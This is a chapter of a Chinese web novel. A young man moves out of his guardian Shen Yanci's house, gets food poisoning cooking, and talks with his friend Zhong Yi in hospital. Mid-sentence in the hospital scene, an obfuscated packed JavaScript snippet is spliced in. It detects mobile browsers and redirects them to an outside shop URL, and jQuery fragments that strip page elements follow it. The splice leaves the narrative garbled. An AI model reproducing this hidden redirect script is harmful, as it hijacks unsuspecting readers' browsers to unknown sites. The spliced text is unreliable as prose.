差不多一根手指的宽度。
很适合戴在小动物身上,宁绒没养小猫小狗之类的。
他仔细检查一番,没什么奇怪的地方。
应该是寄错了。
粉色绳子放柜台上,宁绒收拾完垃圾,褪黑素的药效上来,没多久睡着了。
第二天,宁绒回到租住的房子和赶来的陈姨一起收拾。
搬家动静大瞒不过陈姨,两三句逼问,宁绒把自己卖的干干净净,拗不过,只能同意陈姨过来和他一起收拾。
陈姨是退休职工,儿子和儿媳在美国工作,她自己闲不住想找点事做,被钟阿姨推荐给沈砚慈做住家阿姨。
“绒绒,你以后就住这啊?”陈姨逛了一圈,一个房子还没她的房间大。
宁绒一向喜欢小房间,没有人知道。
他对这里还算满意:“是啊,还不错吧?”
陈姨满脸愁容地摸摸宁绒的头,担心这小孩糊涂了:“你这小孩怎么想的,放着大房间不要,跑来住着小地方受罪。”
“赶地铁都要十几分钟,周围还没个好吃的餐厅。”
“这小区的房子看起来破……”
房租便宜,硬性条件缺失挺正常的,宁绒胡乱打哈哈遮掩过去。
陈姨再说下去,他也要看不惯了。
陈姨叹了口气,把提前做好的酱牛肉,酱板鸭和其它卤味放进冰箱里,即食食品塞进冰箱下层,絮絮叨叨都是对小孩的担忧。
他照顾宁绒四五年了,孙子孙女常年不在身边,简直把宁绒当做自己的亲孙子来看。
“一个人住的话一定要照顾好自己。”
“我在国外把自己照顾的很好。”宁绒说。
“哪有,看起来都瘦了。”
“姨姨,这是我健身,脂肪变肌肉了。”
“小孩子话不能随便乱讲呀,那能变得那么快。”
“……”
下午送走陈姨,宁绒在每个房间里转了转,还真有点小,衣服都没地放。
宁绒的衣服多,两个衣柜放不下,定制的衣橱过两天才到,只能暂时放在床上,以至于当晚睡觉的地方可怜巴巴的。
幸好床垫是搬家里的,足够大,还能有睡的地方。
宁绒占着一小块,晃动脚,心里是按捺不住的激动和忐忑。
太顺利了。
他之前跑国外没打招呼,前后两次在机场被拎回来记忆犹新。
先暂时瞒着吧,静观其变。这回没跑那么远,沈砚慈总不会又让他回家。
宁绒点开微信,回沈砚慈“我晚些回去。”
宁绒不知道的是,沈砚慈并没有收到这条信息。
——
“陈姨,你上去再叫绒绒一声。”沈砚慈捏了捏眉心,眉宇间的疲惫遮掩不住。
这小孩之前整天早出晚归见不到面,沈砚慈知道宁绒脸皮薄,怕尴尬故意躲着他。
现在也不知道在玩什么,叫几次都不肯下来。
陈姨低着头,有口难开,怕先生不高兴。
她最知道先生把宁绒看的比什么都重,管的自然也多。宁绒这次搬出去没经过先生同意,随时都可能回来。
陈姨讪笑:“先生,绒绒说他今晚不回来,让您先吃,不用等他。”
沈砚慈看向陈姨,眉心紧锁:“又不回来?”
陈姨局促地避开视线:“……是的,先生。”
沈砚慈看向陈姨,常年浸淫在商业使他的气场不怒自威,格外压人,饶是陈姨见过这么多人,也不由得心生胆寒。
“陈姨,绒绒是个小孩,做事没分寸,你别陪他胡闹。”
显然是一起串通瞒着他。
话音落下,陈姨没敢作声,这些需要宁绒亲口告诉先生,而不是借她的口。
“他今晚不打算回来了?”
“……应该是。”
沈砚慈叹了口气,简单吃几口,上二楼给宁绒打去电话。
宁绒睡的有一会了,朦朦胧胧看清来电是谁,呆滞十几秒接通。
过往的规训刻在骨子里,他没出声,静静等挨训。
没有预料的兴师问罪和说教,沈砚慈的语气很平淡,温和,听得宁绒浑身起鸡皮疙瘩。
沈砚慈拧开卧室把手,打开灯:“外面住的习惯吗?”
目之所及,常用的都带走了,短期不打算回来了。
心里悬着的石头重重砸在地上,沈砚慈往后倚着门,手撑在门板上,眼神晦暗不明。
他年少时有幸得到宁绒父母的资助,顺利完成高中学业,考上大学。
在宁绒父母车祸去世,宁家陷入纷争,主动跑去孤儿院收养被丢在那,脑袋碰坏的小孩。
小孩只有三岁,受刺激不太会说话,小小的一个黏着他喊daddy,追出来要抱。
后来一直带在身边,养大,现在突然从身边离开了。
以长大为借口。
“还好。”宁绒的回应唤回沈砚慈的思绪,他又听到一句很小声的嘟囔“有点小。”
沈砚慈眉心拧着,训斥的话在嘴边滚了滚,生生咽了下去。
他关上灯,从房间退出来。
两个人沉默着。
沈砚慈先开口,声音晦涩:“记得别吃桃子和芒果。”
宁绒缓缓眨了眨眼,嘴巴张开,难以置信地看了眼来电人:嗯。”
“小心点,别把自己弄伤了。”
确认来电人没错,宁绒慢慢歪进身旁的衣服里:“放心吧,早点睡”。
没有说教,没有质问,只有几句简单的,宁绒彻底睡不着了。
那点虚无缥缈被定义为愧疚的情绪在这一刻疯长,一刻不停的折腾他。
宁绒翻来覆去没能睡着,半夜爬起来吃了两颗褪黑素。
玻璃杯的水荡了荡,宁绒慢慢地蹲下,脸埋进膝盖里。
沈砚慈就知道搞他。
——
宁绒之前和钟意说的广告不过是接了两个网店的寄拍,帮忙宣传。
租的房子是标准的两室一厅,外加朝南的露天阳台,一间专门作为卧室,一间作为拍摄办公场地。
自己凹姿势拍照很费时间,一组照片拍到了晚上。
修完图到凌晨,在大号上发了照片配音乐,评论区置顶直达店铺。
第二天照片点赞和讨论度很高,评论区现场上演失踪人口回归现场。
维持高冷人设的宁绒,只在粉丝群聊里发红包小小庆祝一下。
事情都在往好的方向发展。
转折点是在宁绒尝试做饭,中毒进了医院。
“祖宗啊,炒个土豆能把自己弄中毒了。”钟意忍俊不禁,一边揶揄一边举着手机,对着床上病恹恹的脸。
他来的巧,宁绒要做饭招待他。
钟意趁公司午休时间抽空过去,喊了几声,才发现人在厨房的地上蜷着。
“拍什么拍!”
宁绒的胃不太舒服又着急往被子里钻,难受的眉毛拧在一起。
钟意脸上藏不住的幸灾乐祸,枕头砸来,轻飘飘躲过。
弯腰捡起枕头拍拍灰,钟意坐在另一张病床上,翻看抓拍的照片,语气散漫:“生着病,模样也好看。”
他故意拖长语调,慢悠悠的感慨:“我们绒绒果然怎么样都好看。小学时,同班小姑娘天天把自己的草莓牛奶送……”
“哥,你赶紧走吧。”宁绒无奈的双手拉过被子,捂上耳朵装死。
每个菜都是按教程一步步跟进,不可能中毒,只能说最近太顺了,需要倒霉缓冲一下。
理由很荒唐,宁绒不准备磨灭做饭的兴致。
他轻轻按着胃部,闷疼闷疼的。
钟意笑过后收敛些许,单手往后撑着,目光落在隆起的一团:“我给你找了阿姨,负责中午和
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498545|202618||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
晚上,地址告诉她了,联系方式推你了。”
宁绒没有拒绝的理由,轻声说了个好。
钟意躺在另一张病床上,脑袋下垫着两个枕头:“你搬到那小破地,沈砚慈没生气?”
“不知道。”当时震惊到发懵,没听出来。
钟意闻言虚虚的点了下头,沈砚慈他也该放手了。
钟意见沈砚慈次数不多,唯数的几次是回家看到沈砚慈和他父母在客厅聊天。
外人眼里不苟言笑,手段狠戾的人也是会在深夜十一二点说着叨扰,来和他父母虚心求解怎么养小孩。
“和上次酒吧的人还有联系吗?”
宁绒脑海里立即浮现对方那张欠揍的脸,记忆深刻的是对方下唇上覆盖的痣。
声音从被子里传来,闷闷的:“没有。”
上次聊天结束,宁绒拉黑了wait的联系方式。
钟意不信任地看了眼鼓起的被子。
除去在国外的两年,他这个弟弟向来被保护的很好,无论是沈砚慈和他都无心做这种事。
宁绒被养得很好,钟意的成就感很高。
“少和他接触。”钟意说。
这句话宁绒认可,他偷偷瞟了眼钟意,面无表情的人脸上突然浮现意味深长的假笑。
宁绒:“……”
“真没联系了。”
“骗我你就死定了。”钟意笑眯眯地说。
“爱信不信,反正都告诉你了。”
钟意回了两个电话,目光聚在手机上,不知道信没信:“王总破产这件事你知道吧?”
群里几天前说过,宁绒知道但不了解。
他轻微垂了下眼,伸手够放在桌上的手机:“听说了,他儿子还在国外?”
“嗯,一回来成黑户了。”
“学费怎么办?他家里现在拿不出这么多钱。”
“他姐把奢侈品二手卖了,凑凑有余数。”
宁绒不在意的嗯了两声,他想了一下:“我的蓝牙忘在上次的酒吧了,你下次去的话帮我问问。”
“嗯,今晚要不要叫个陪住?”
宁绒拒绝,“不用,你下午还要开会,快走吧。”
“不着急,刚拍的照片发我账号上了。”
宁绒接过枕头往脑袋下垫,没什么力气抢钟意的手机:“太丑的别发。”
人走后,宁绒趴在枕头上看私信合作,沈砚慈在知道他租房后给他打了一笔钱,他并不缺钱。
或者说,他从小都不缺钱。
不缺和自己挣的是两码事。
宁绒添加了两个合作方的联系方式,兴致缺缺地打开钟意给他订的粥。
没味。
注意到关注列表更新,宁绒翻了翻照片,顺手点了个赞,在钟意主页看猫。
钟意的账号ID叫三万二,内容都是他最近养的小猫。
小猫是在猫咖买的,身价三万二,名字三万二,小名囡囡,是只小塞尔凯特。
动态照片很快让钟意的信息99+,关于绒.的艾特多到宁绒摆烂。
当事人觉得丢脸不承认,不上线,不回应做饭中毒的事。
次日,宁绒办理完出院手续,去预定餐厅的路上收到钟意的信息,
钟意:【有个摄影博主看到你的照片,觉得你很帅,想给你拍照。他私信你了,你应该没看到】
钟意:【截屏】【截屏】
钟意:【看起来是个正经人,我搜了搜,他给很多人拍过。】
截屏内容是两个人的聊天记录,对方是临城的摄影师,言语诚恳,态度也好。
钟意:【你之前不是想去临城玩吗,正好让他给你当导游,带你临城古城转转。】
回国后事挺多的,宁绒有一瞬间心动。
宁绒:【我考虑考虑。】
下一秒宁绒收到钟意分享名片,对方ID单字一个燃。